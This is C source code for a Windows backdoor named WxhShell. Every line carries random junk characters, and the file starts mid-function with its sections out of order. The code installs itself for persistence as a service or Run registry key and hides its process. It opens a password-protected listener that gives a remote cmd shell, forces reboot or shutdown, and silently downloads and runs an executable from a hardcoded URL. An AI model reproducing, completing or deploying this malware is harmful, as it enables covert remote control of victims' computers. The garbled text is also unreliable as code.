    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"hW45L  
    else { hS7o=G[  
    closesocket(wsh); -PH!U Hg  
    ExitThread(0); 2ID]it\5  
    } #MI4 `FZ  
    break; t"L-9kCM  
    } aMycvYzH  
  // 关机 *^ -~J/  
  case 'd': { >$iQDVh!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j69 2M.A  
    if(Boot(SHUTDOWN)) xr'gi(.o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uS,XQy2  
    else { VsMTzGr  
    closesocket(wsh); ]2o?Gnn@  
    ExitThread(0); zz~AoX7V6  
    } CYWL@<p,  
    break; 2<' 1m{  
    } BD (  
  // 获取shell @ wJ|vW_.  
  case 's': { bQu1L>c,Uw  
    CmdShell(wsh); 2n8spLZYGY  
    closesocket(wsh); I w-3Z'hOX  
    ExitThread(0); %N }0,a0  
    break; j6{9XIR o_  
  } :")iS?l  
  // 退出 MZInS:Vj  
  case 'x': { f)/5%W7n}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =]yzy:~ey  
    CloseIt(wsh); Y< drRK!  
    break; !XJS"owr  
    } EvEI5/ z  
  // 离开 E[N3`"  
  case 'q': { Y$ To)qo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j)neVPf%v  
    closesocket(wsh); AUvUk<a  
    WSACleanup(); 8@Kvh|  
    exit(1); \9GJa"xA`  
    break; *D$[@-7  
        } 'qT[,iQ  
  } 9 EqU 2~  
  } nVVQ^i}`G  
+Tug.[A  
  // 提示信息 g1TMyIUt[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /^TXGc.  
} [b<AQFh<c  
  } eURj'8o),  
C0$KpUB  
  return; ;j]-;wg-;  
} tEXY>=  
i{ " g 7  
// shell模块句柄 N4JJA+  
int CmdShell(SOCKET sock) =5jng.  
{ mlmp'f  
STARTUPINFO si; ?i8a)!U  
ZeroMemory(&si,sizeof(si)); |6d0,muN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %kRQ9I".  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ..g?po  
PROCESS_INFORMATION ProcessInfo; 1D/9lR,  
char cmdline[]="cmd"; dq&N;kk |  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .7|kxJq  
  return 0; oju}0h'1  
} 8I X,q  
0$~zeG"  
// 自身启动模式 (` N@4w=  
int StartFromService(void) T3W?-,  
{ Pq@%MF]5  
typedef struct >)sB# <e  
{ im6Rx=}E{  
  DWORD ExitStatus; E~y@ue:  
  DWORD PebBaseAddress; pW>?%ft.  
  DWORD AffinityMask; ?7Y6: zo$^  
  DWORD BasePriority; X_6h8n}i  
  ULONG UniqueProcessId; ~$O.KF:  
  ULONG InheritedFromUniqueProcessId; EqV]/0-\  
}   PROCESS_BASIC_INFORMATION; kDz!v?Z2+B  
,'E+f%  
PROCNTQSIP NtQueryInformationProcess; {|;5P.,l  
Kn !n}GtR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GjmPpKIu\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *C (/ 2  
#@*;Y(9Ol  
  HANDLE             hProcess; aWe?n;  
  PROCESS_BASIC_INFORMATION pbi; 8hK\Ya:mP  
sSM^net0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3j]P\T  
  if(NULL == hInst ) return 0; w*E0f?s  
zuq7 x7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ac-R q.GQY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]CFh0N|(L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iL%Q@!ka  
K|n$-WDG}  
  if (!NtQueryInformationProcess) return 0; vU X(h.}8  
YL$#6d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =sR]/XSK  
  if(!hProcess) return 0; I(cy<ey+e  
u;[*Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -27uh  
b?p_mQKtZ  
  CloseHandle(hProcess); Bbb_}y|CA  
]7*Z'E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UJqDZIvC  
if(hProcess==NULL) return 0; ?\ qfuA9.  
:|GC~JElo5  
HMODULE hMod; D 2U")g}U  
char procName[255]; A[/_}bI|  
unsigned long cbNeeded; *$t<H-U-  
% |6t\[gn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tP?pN]Q$,  
5eZ8$-&([  
  CloseHandle(hProcess); 1kiS."77x  
`30og]F0YJ  
if(strstr(procName,"services")) return 1; // 以服务启动 h\jV@g$  
Zd~l_V f  
  return 0; // 注册表启动 j2U iZLuV  
} syEWc(5  
muAI$IRR   
// 主模块 0I8w'/s_g9  
int StartWxhshell(LPSTR lpCmdLine) jLANv{"  
{ OZ/P@`kN.f  
  SOCKET wsl; (1 L9K;  
BOOL val=TRUE; >O{U4_j@(  
  int port=0; h83;}>  
  struct sockaddr_in door; M@G <I]\  
qoNVp7uv  
  if(wscfg.ws_autoins) Install(); $R\D[`y|  
)zFPf]gz  
port=atoi(lpCmdLine); Ur`jmB  
B,@<60u  
if(port<=0) port=wscfg.ws_port; 8{m5P8w'  
#~&SkIhBE  
  WSADATA data; =F(fum;zH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;1S~'B&1Q  
J 8/]&Ow  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0Zt=1Tv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9@nDXZP Y&  
  door.sin_family = AF_INET; \S[7-:Lu^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!@<[Vo6  
  door.sin_port = htons(port); _QD##`<  
-Y*"!8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mkA1Sh{hX>  
closesocket(wsl); *rY@(|  
return 1; 6ty>0  
} }U)g<Kzh  
xQ4'$rL1d  
  if(listen(wsl,2) == INVALID_SOCKET) { QB<9Be@e  
closesocket(wsl); 6Un61s  
return 1;  mN>7vJ  
} >~;MQDU5*Y  
  Wxhshell(wsl); X8F@U ^@  
  WSACleanup(); )c'5M]V  
&3 QdQ n,  
return 0; D1&%N{  
>s@*S9cj:  
} 0!WF,)/T7i  
54TW8y `h  
// 以NT服务方式启动 NVEjUt/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J3oEN'8S  
{ CNC3">Dk~9  
DWORD   status = 0; GpjyF_L  
  DWORD   specificError = 0xfffffff; )!h(oR  
vqq7IV)|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I3;{II  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rJ LlDKP-(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C2WWS(zn  
  serviceStatus.dwWin32ExitCode     = 0; 7M#eR8*[se  
  serviceStatus.dwServiceSpecificExitCode = 0; ]0`*gKA  
  serviceStatus.dwCheckPoint       = 0; (1~d/u?2\  
  serviceStatus.dwWaitHint       = 0; kz|2PP  
j2V"w&>b}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l+6y$2QR  
  if (hServiceStatusHandle==0) return; sFqLxSo_I  
{K\l3_=5qb  
status = GetLastError(); R,mOV8y"W[  
  if (status!=NO_ERROR) X?,ly3,  
{ #;9I3,@/Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {H]xA3[]  
    serviceStatus.dwCheckPoint       = 0; 6S#Y$2 P  
    serviceStatus.dwWaitHint       = 0; pmm?Fq!s=  
    serviceStatus.dwWin32ExitCode     = status; N=1zhI:VaQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; v-zi ,]W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U(lcQC`$  
    return; ?LJDBN  
  } w! J|KM  
VMry$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; grvm2`u  
  serviceStatus.dwCheckPoint       = 0; m5!~PG:_  
  serviceStatus.dwWaitHint       = 0; I r8,=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K gN=b  
} ]Gk;n/! B  
@J`o pR  
// 处理NT服务事件,比如:启动、停止 {M`yYeo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =?o,' n0  
{ "Di27Rq  
switch(fdwControl) c$Vu/dgx  
{ RJpH1XQ j  
case SERVICE_CONTROL_STOP: AYhWeI+  
  serviceStatus.dwWin32ExitCode = 0; bYPkqitqz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j7(sYo@x7  
  serviceStatus.dwCheckPoint   = 0; = NHE_ 4/p  
  serviceStatus.dwWaitHint     = 0; L1'PQV  
  { T1$fu(f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |l4tR  
  } CSKOtqKQ)  
  return; F52%og~N  
case SERVICE_CONTROL_PAUSE: t>hoXn^-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'eyzH[l,(  
  break; dTV4 Q`Z  
case SERVICE_CONTROL_CONTINUE: U2v;[>=]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u|;?FQ$M  
  break; #Hn<4g"AjM  
case SERVICE_CONTROL_INTERROGATE: zKh^BwhO|X  
  break; 968<yO]  
}; R07]{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AnF"+<  
} l*r8.qp  
4>x$I9^Y!  
// 标准应用程序主函数 |`T$Iq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  lu_kir~  
{ ]=gNA  
BlLK6"gJT  
// 获取操作系统版本 EZ,Tc ;f=  
OsIsNt=GetOsVer(); |IcA8[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 KuUV!\h`  
O/XG}G.x|  
  // 从命令行安装 @AB}r1E2  
  if(strpbrk(lpCmdLine,"iI")) Install(); F"-u8in`  
DpRGPs  
  // 下载执行文件 n-"(lWcp  
if(wscfg.ws_downexe) { `49: !M$i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5dvP~sw  
  WinExec(wscfg.ws_filenam,SW_HIDE); D(;jv="/  
} e/7rr~"|  
00 9[`Z  
if(!OsIsNt) { x?"+Or.h  
// 如果时win9x,隐藏进程并且设置为注册表启动 T`zUgZ]  
HideProc(); [QwBSq8)  
StartWxhshell(lpCmdLine); \CU-a`n  
} >Ut4INV  
else ; b`kN;s  
  if(StartFromService()) U/#X,Bi~  
  // 以服务方式启动 ts:YJAu+F  
  StartServiceCtrlDispatcher(DispatchTable); +L\Dh.Ir  
else [g/ &%n0^  
  // 普通方式启动 Q4Zw<IZv5  
  StartWxhshell(lpCmdLine); wbpz,  
]lqe,>  
return 0; h@2YQgw`  
} <"hq}B  
0Yk$f1g  
NiSybyR$  
17E,Qnf  
=========================================== Op_(10|  
W9rmAQjn  
4=nh' U38  
\Dx;AKs  
HhZ>/5'(  
,%T sfB  
" 'Q dDXw5o  
{9XN\v=$"*  
#include <stdio.h> 0{'m":D9  
#include <string.h> a7>^^?|  
#include <windows.h> PJ))p6 9  
#include <winsock2.h> 4n0Iw  I  
#include <winsvc.h> g QYs,  
#include <urlmon.h> h]vu BHJ}  
@@3%lr71   
#pragma comment (lib, "Ws2_32.lib") NX&Z=ObHu}  
#pragma comment (lib, "urlmon.lib") M\A6;dz'  
nu `R(2/  
#define MAX_USER   100 // 最大客户端连接数 {O!B8a    
#define BUF_SOCK   200 // sock buffer  GUps\:ss  
#define KEY_BUFF   255 // 输入 buffer W|L#Q/ RX  
s^"*]9B"  
#define REBOOT     0   // 重启 Ly-}HW(  
#define SHUTDOWN   1   // 关机 T0X+\&W  
Q"s]<MtdS  
#define DEF_PORT   5000 // 监听端口 V` 4/oM`  
-`CE;  
#define REG_LEN     16   // 注册表键长度 b?j\YX[e  
#define SVC_LEN     80   // NT服务名长度 >x*ef]aS  
Kut@z>SK  
// 从dll定义API cKB1o0JsYJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \gGTkH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )@],0yL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *o=[p2d"X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8^pu C  
tfdb9# &?  
// wxhshell配置信息 H}cq|hodn  
struct WSCFG { .naSK`J,`  
  int ws_port;         // 监听端口 8'Iei78Ov  
  char ws_passstr[REG_LEN]; // 口令 1b<[/g9  
  int ws_autoins;       // 安装标记, 1=yes 0=no t+#vcg,G  
  char ws_regname[REG_LEN]; // 注册表键名 b/d 1(B@  
  char ws_svcname[REG_LEN]; // 服务名 Tq,dlDDOR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -#Jp@6'k%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lvH} 8 lJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G4^6o[x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i|xC#hV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! Q8y]9O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a(AYY<g  
/<k]mY cu  
}; m>f8RBp]'  
0|| 5 r#  
// default Wxhshell configuration ojx2[a\  
struct WSCFG wscfg={DEF_PORT, ,rX|_4 n*  
    "xuhuanlingzhe", ;+*/YTkC+P  
    1, <q`|,mc  
    "Wxhshell", ,7)z avA  
    "Wxhshell", Ud_0{%@  
            "WxhShell Service", xk7VuS *  
    "Wrsky Windows CmdShell Service", \;1nEjIA  
    "Please Input Your Password: ", m U= 3w  
  1, A}[x ))r  
  "http://www.wrsky.com/wxhshell.exe", "}2I0tM  
  "Wxhshell.exe" Q>I7.c-M|  
    }; SM4'3d&mf  
fW$1f5g"  
// 消息定义模块 p@eW*tE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EUby QL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^@)*voP#G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pp+z5  
char *msg_ws_ext="\n\rExit."; _adW>-wQ!d  
char *msg_ws_end="\n\rQuit."; Y/f8rN  
char *msg_ws_boot="\n\rReboot..."; Zfd `Fu  
char *msg_ws_poff="\n\rShutdown..."; v,Z?pYYo  
char *msg_ws_down="\n\rSave to "; x b!&'cw  
s=Xg6D  
char *msg_ws_err="\n\rErr!"; Ap> H-/C  
char *msg_ws_ok="\n\rOK!"; l6N"{iXU  
SP;1XXlL  
char ExeFile[MAX_PATH]; aWY#gI{  
int nUser = 0; k{ulu  
HANDLE handles[MAX_USER]; & kQj)  
int OsIsNt; P"|-)d  
|Y30B,=M  
SERVICE_STATUS       serviceStatus; ^nLk{<D35  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T2TWb  
*9US>mVy  
// 函数声明 |=[. _VH1  
int Install(void); @xr}(.  
int Uninstall(void); jP.dQj^j&  
int DownloadFile(char *sURL, SOCKET wsh); x,c\q$8yH  
int Boot(int flag); _opB,,G  
void HideProc(void); $49;\pBZl  
int GetOsVer(void); #Eqx E o;  
int Wxhshell(SOCKET wsl); 6M[OEI5  
void TalkWithClient(void *cs); Bqw/\Lxwlf  
int CmdShell(SOCKET sock); s14 ot80)  
int StartFromService(void); 5}2148  
int StartWxhshell(LPSTR lpCmdLine); YoSBS   
X$=/H 6R5Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]+Z,HY@;-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >6|Xvtf  
%?J-0  
// 数据结构和表定义 ZQyXzERp  
SERVICE_TABLE_ENTRY DispatchTable[] = zor  
{ 6%MM)Vj+u  
{wscfg.ws_svcname, NTServiceMain}, \q"vC1,9  
{NULL, NULL} n`D-?]*  
}; m,Mg  
2^)_XVX1  
// 自我安装 -kb;h F}.  
int Install(void) rnC<(f22  
{ C|RC9b  
  char svExeFile[MAX_PATH]; cXNR<`   
  HKEY key; mcWN.  
  strcpy(svExeFile,ExeFile); b@B\2BT  
|AS9^w  
// 如果是win9x系统,修改注册表设为自启动 /5~j"| U'  
if(!OsIsNt) { G1:"Gxja  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZeH=]G4Zv7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^2nH6,LPS  
  RegCloseKey(key); juMHc$d17  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "5"{~3Gw^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %F(lq*8X  
  RegCloseKey(key); ?>mpUH  
  return 0; cK75Chsu  
    } SKo*8r   
  }  5s<.qDc  
} N~DO_^  
else { C\* 0621  
WyUa3$[gO  
// 如果是NT以上系统,安装为系统服务 &<# ,J4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hi&bNM>?O  
if (schSCManager!=0) nMOXy\&mI  
{ !3\( d{  
  SC_HANDLE schService = CreateService ySH io;g9  
  ( ODKS6E1{  
  schSCManager, :JK+V2B$H  
  wscfg.ws_svcname, Q@rlqWgU ~  
  wscfg.ws_svcdisp, eY_BECJ+OO  
  SERVICE_ALL_ACCESS,  /EwNMU*6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #yOeL3|b'  
  SERVICE_AUTO_START, /U="~{*-R  
  SERVICE_ERROR_NORMAL, e'~<uN>  
  svExeFile, W,.Exh  
  NULL, c#a>> V  
  NULL, (]$&.gE.F  
  NULL, Fyc":{Jd  
  NULL, 9L>ep&u)^  
  NULL uExYgI`<%&  
  ); [pz1f!Wn  
  if (schService!=0) =g)SZK  
  { jsq|K=x,  
  CloseServiceHandle(schService); lN7YU-ygz  
  CloseServiceHandle(schSCManager); }sM_^&e4X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]T%wRd5&-  
  strcat(svExeFile,wscfg.ws_svcname); /brHB @$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Ecd\p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y7LM}dH#m  
  RegCloseKey(key); ~uuM0POo  
  return 0; ZSn6JV'g  
    } A6#v6iT  
  } v&xhS yZ  
  CloseServiceHandle(schSCManager); zI_pP?4;.q  
} SA~oGgk=P  
} L/,M@1@R  
nz Klue  
return 1; j^D/ ,SW  
} 7 ;x to =  
vZIx>  
// 自我卸载 :~~\{fm  
int Uninstall(void) =9A!5  
{ 4qyPjAG  
  HKEY key; L]=LY  
N._^\FRyn  
if(!OsIsNt) { "S psSQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6}:(m#+  
  RegDeleteValue(key,wscfg.ws_regname); q ;e/gP2  
  RegCloseKey(key); /Mw0<#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oMKGM@V  
  RegDeleteValue(key,wscfg.ws_regname); WISeP\:^  
  RegCloseKey(key); *-s':('R  
  return 0; hlHle\[ds  
  } o6 8;-b'n  
} \ZC0bHsA  
} hho\e 8  
else { 7+m.:~H3}  
FeJKXYbk<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^;;gPhhWV  
if (schSCManager!=0) Fb^,%K:  
{ G4"[ynlWV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4iJ4g%]  
  if (schService!=0) -9(nsaV  
  { ||#+ ^p7G  
  if(DeleteService(schService)!=0) { (o!i9)  
  CloseServiceHandle(schService); K# h7{RE  
  CloseServiceHandle(schSCManager); RYM[{]4b5F  
  return 0; /[|A(,N}{  
  } <KZ J  
  CloseServiceHandle(schService); =@.5J'!  
  } 2~@Cj@P]  
  CloseServiceHandle(schSCManager); mnM$#%q;%  
} =Ct$!uun  
} 2XV3f$,H  
|L6 +e *  
return 1; VpB+|%@p  
} *m&(h@l  
@Cl1G  
// 从指定url下载文件 $wqi^q*)  
int DownloadFile(char *sURL, SOCKET wsh) m[A$Sp_"-h  
{ ,sn 9&E  
  HRESULT hr; - S%8  
char seps[]= "/"; { ?]&P  
char *token; q`@8  
char *file; e it%U  
char myURL[MAX_PATH]; f:h<tlob  
char myFILE[MAX_PATH]; !3Q^oR  
5I0j>{U&  
strcpy(myURL,sURL); 3NrWt2?  
  token=strtok(myURL,seps); i",oPz7  
  while(token!=NULL) ( Uk\O`)m  
  { zmU>  
    file=token; 8LlWXeD9  
  token=strtok(NULL,seps); rv %^2h<&  
  } ]dnB ,  
I(+%`{Wv  
GetCurrentDirectory(MAX_PATH,myFILE); 3E;<aCG?  
strcat(myFILE, "\\"); %F]:nk`  
strcat(myFILE, file); g #[,4o;  
  send(wsh,myFILE,strlen(myFILE),0); 0vcFX)]yW  
send(wsh,"...",3,0); Wp//SV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \PK}4<x}  
  if(hr==S_OK) u=sZFr@m[  
return 0; 6"La`}B(T8  
else 4z,n:>oH  
return 1; +qmV|$rmM  
j.UO>1{7  
} ./}W3  
_Zbgmasb  
// 系统电源模块 'dcO-A:>  
int Boot(int flag) 01o,9_|FL  
{ VRz9;=m  
  HANDLE hToken; tnC,1HV0[  
  TOKEN_PRIVILEGES tkp; {_X&{dZLX  
D<xDj#Z~1  
  if(OsIsNt) { G":u::hR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `MXGEJF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <_-8)abK  
    tkp.PrivilegeCount = 1; IHj9n>c)[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r~T3Ieb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 41\V;yib  
if(flag==REBOOT) { 1lf]}V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {_]<mwd  
  return 0; YMn_9s7<  
} ;r3|EA35  
else { \_3#%%z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A]OVmw  
  return 0; *@[+C~U  
} 6q~*\KRk  
  } CL"q "  
  else { (W_U<~`t  
if(flag==REBOOT) { &(rR)cG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z_[jah  
  return 0; w&LL-~KI+  
} R5MY\^H/A  
else { |1Pi`^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s F3M= uz  
  return 0; w-?Cg8bq<  
} x-@6U  
} ZVz`-h B  
f}+8m .g2  
return 1; D2Dk7//82Y  
} G:{\-R'  
r#/Bz5Jb*  
// win9x进程隐藏模块 C07U.nzh  
void HideProc(void) ftbOvG/ I  
{ zNJ-JIo%  
rqYx\i?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !!UQ,yU  
  if ( hKernel != NULL ) x|<89o L  
  { @3I/57u<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \k*h& :$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lcEin*Oc  
    FreeLibrary(hKernel); %B-m- =gz  
  }  7VAet  
Zcxj.F(,  
return; KZ/ 2#`  
} 1IV R4:a  
} OAH/BW  
// 获取操作系统版本 g+M& _n  
int GetOsVer(void) ,SSq4  
{ R%^AW2   
  OSVERSIONINFO winfo; S#^-VZ~U4x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LkIbvJCV  
  GetVersionEx(&winfo); [5QbE$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nN!R!tJPa  
  return 1; xsSX~`  
  else ^_pJEX  
  return 0; 6*=7ifS  
} \o{rw0w0  
t'L#8MJ  
// 客户端句柄模块 Com`4>0>I  
int Wxhshell(SOCKET wsl) n ^_B0Rkv  
{ Z^yhSbE{5  
  SOCKET wsh; .?p\=C@C+  
  struct sockaddr_in client; rty&\u@}  
  DWORD myID; Z;nUS,?om  
41jlfKiOm  
  while(nUser<MAX_USER) hXz@ (cF  
{ 4+15`  
  int nSize=sizeof(client); g\foBK:GE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k;?E,!{  
  if(wsh==INVALID_SOCKET) return 1; L64cCP*  
~TfQuIvQB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X3, +aL`  
if(handles[nUser]==0) Ld3!2g2y7&  
  closesocket(wsh); sn?YD'>k  
else HrS  
  nUser++; 6$6Qk !%  
  } \Yd 0oe82  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p) ea1j>N  
TkSeDP  
  return 0; (k&r^V/=  
} 7T}r]C.  
YN 31Lo  
// 关闭 socket A J"/T+g_  
void CloseIt(SOCKET wsh) RTRi{p  
{ q X>\*@  
closesocket(wsh); [*AWCV  
nUser--; {kp^@  
ExitThread(0); E5F0C]hq  
} ![a~y`<K,  
t`y*oRy  
// 客户端请求句柄 [W2GLd]  
void TalkWithClient(void *cs) JypXQC}~  
{ CxRh MhvP  
Y;6%pm$  
  SOCKET wsh=(SOCKET)cs; auT'ATW7i  
  char pwd[SVC_LEN]; |=W=H6h*  
  char cmd[KEY_BUFF]; hCKx%&[^7  
char chr[1]; JOm6Zc  
int i,j; J=C63YB  
{f<\`  
  while (nUser < MAX_USER) { dT*8I0\+  
OGqsQ  
if(wscfg.ws_passstr) { %1jApCJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *.ZU" 5e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aR~Od Ys  
  //ZeroMemory(pwd,KEY_BUFF); Oe[qfsdW  
      i=0; jJDY l([  
  while(i<SVC_LEN) { s55t>t,g6  
@"E{gM@B  
  // 设置超时 >hbT'Or@  
  fd_set FdRead; {#'M3z=  
  struct timeval TimeOut; Lb} cjI:  
  FD_ZERO(&FdRead); 4]/i0\Vbam  
  FD_SET(wsh,&FdRead);  p3YF  
  TimeOut.tv_sec=8; =ap6IVR  
  TimeOut.tv_usec=0; J%n{R60b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SS/t8Y4W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SJdi*>  
r9d dVD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t@O4 !mFH  
  pwd=chr[0]; `DPR >dd@  
  if(chr[0]==0xd || chr[0]==0xa) { ko%B`  
  pwd=0; $ZOKB9QccC  
  break; &`J?`l X  
  } p>@S61 & [  
  i++; `bF] O"  
    } Y?>us  
A, )G$yT\  
  // 如果是非法用户,关闭 socket _p`@/[(|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s"solPw  
} bG6<=^  
+ $x;FT&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \1p5$0z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f YuM`O  
^sjL@.'m$N  
while(1) { L!]~ J?)  
sUP !'Av  
  ZeroMemory(cmd,KEY_BUFF); @~l?hf  
P_w\d/3  
      // 自动支持客户端 telnet标准   4Dd7 I  
  j=0; 7JNy;$]/  
  while(j<KEY_BUFF) { 2m?!!We q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2iM8V  
  cmd[j]=chr[0]; n_Ka+Y<  
  if(chr[0]==0xa || chr[0]==0xd) { AIXvS*Y,  
  cmd[j]=0; WZ<kk T  
  break; OLdD3OI  
  } ,t]qe  
  j++; J '^xDIZX  
    } *KXg;777  
8uO@S*)0  
  // 下载文件 qWzzUM1=  
  if(strstr(cmd,"http://")) { /<s $Am  
